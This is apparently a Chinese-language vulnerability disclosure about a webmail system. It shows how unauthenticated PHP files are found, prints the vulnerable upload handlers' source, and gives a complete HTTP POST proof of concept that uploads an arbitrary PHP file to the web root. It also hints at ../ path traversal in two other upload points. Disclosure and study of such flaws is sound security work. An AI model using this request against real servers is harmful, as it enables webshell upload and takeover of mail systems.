一、某些文件存在越权访问(无需登录即可访问)

没有包含根目录下global.php的文件,都可以直接访问不会跳转到登陆界面

于是查找可能存在越权访问的文件:

$ find -name "*.php" | xargs grep -L -E "^require_once.+(\.\.\/global|[^/]global)\.php.+;$"


剔除掉无用的文件,留下几个有意思的php文件:

./overflow_alarm.php ./sms_send.php ./src/old.rule.php ./src/public_folders_upload.php ./src/big_attach.php ./src/big_att_upload.php ./src/read_data.php ./src/upload.php ./sync/linkman.php



二、代码问题导致任意文件上传

瞅瞅/src/big_att_upload.php的代码,为了保护程序猿,咱打上马赛克哈

<?php /* +-----------------------------------------------------------------------+ | Author: 马赛克 | +-----------------------------------------------------------------------+ */ require_once('../config/config.php'); require_once('../functions/global.php'); if (isset($_POST["PHPSESSID"])) { session_id($_POST["PHPSESSID"]); } $realDir = realPath($_POST['dir']).'/'; $goexpr = true; if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) { $fStr = $_FILES["Filedata"]["name"]; $fSize = getUnitSpace($_FILES["Filedata"]["size"]); $fArr = explode('.', $fStr); $fSuffix = end($fArr); $fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1)); $movefile = $realDir.$fStr; $auton = 0; while($goexpr){ if(is_file($movefile) && $_POST['attachType'] == 'big_att'){ $movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix; $fStr = $fPrefix.'('.$auton.').'.$fSuffix; $auton++; }else{ $goexpr = false; } } if(move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile)){ if($_POST['attachType'] == 'big_att'){ echo 'big_att:'.$fStr.':'.$fSize;exit; }else{ echo '1';exit; } } } ?>



这也是醉了,不仅有越权访问,而且上传还木有任何后缀限制

直接上传把filename对应文件放到realPath($_POST['dir']).'/'下

POC:

POST https://mail.domain.com:889/src/big_att_upload.php HTTP/1.1 Host: mail.domain.com:889 Connection: keep-alive Content-Length: 658 Origin: https://mail.domain.com:889 X-Requested-With: ShockwaveFlash/16.0.0.305 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 Content-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Accept: */* Referer: https://mail.domain.com:889/src/write_mail.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4 Cookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="Filename" vultest.php ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="PHPSESSID" outb98m2mckt5a03pejd1aqra0 ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="dir" /var/www/newmail/ ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="Filedata"; filename="vultest.php" Content-Type: application/octet-stream 12345 ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="Upload" Submit Query ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--



访问https://mail.domain.com:889/vultest.php即可

还有2个上传点也是一样的问题,realpath支持../,你懂的,我就不发POC了

/var/www/newmail/src/upload.php:

<?php /* +-----------------------------------------------------------------------+ | Author: 马赛克 | +-----------------------------------------------------------------------+ */ require_once('../config/config.php'); // 网络硬盘 // Work-around for setting up a session because Flash Player doesn't send the cookies if (isset($_POST["PHPSESSID"])) { session_id($_POST["PHPSESSID"]); } $netDiskDir = HM_BOXS.$_POST['netDiskDir']; $realDir = realPath($netDiskDir.'/'.$_POST['curDir']).'/'; if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) { $_FILES["Filedata"] = $_FILES["Filedata2"]; } $goexpr = true; if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) { $fStr = $_FILES["Filedata"]["name"]; $fArr = explode('.', $fStr); $fSuffix = end($fArr); $fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1)); $movefile = $realDir.$fStr; $auton = 0; while($goexpr){ if(is_file($movefile)){ $movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix; $auton++; }else{ $goexpr = false; } } move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile); } if (isset($_FILES["Filedata2"]) || is_uploaded_file($_FILES["Filedata2"]["tmp_name"]) || $_FILES["Filedata2"]["error"] == 0) { echo 'document.getElementById("show_Filedata2").innerHTML = \'<input type="file" id="Filedata2" name="Filedata2">\';document.getElementById("PHPUploadProgress").style.display = "none";document.getElementById("PHPUploadCompose").style.display = "";'; } echo ''; exit; ?>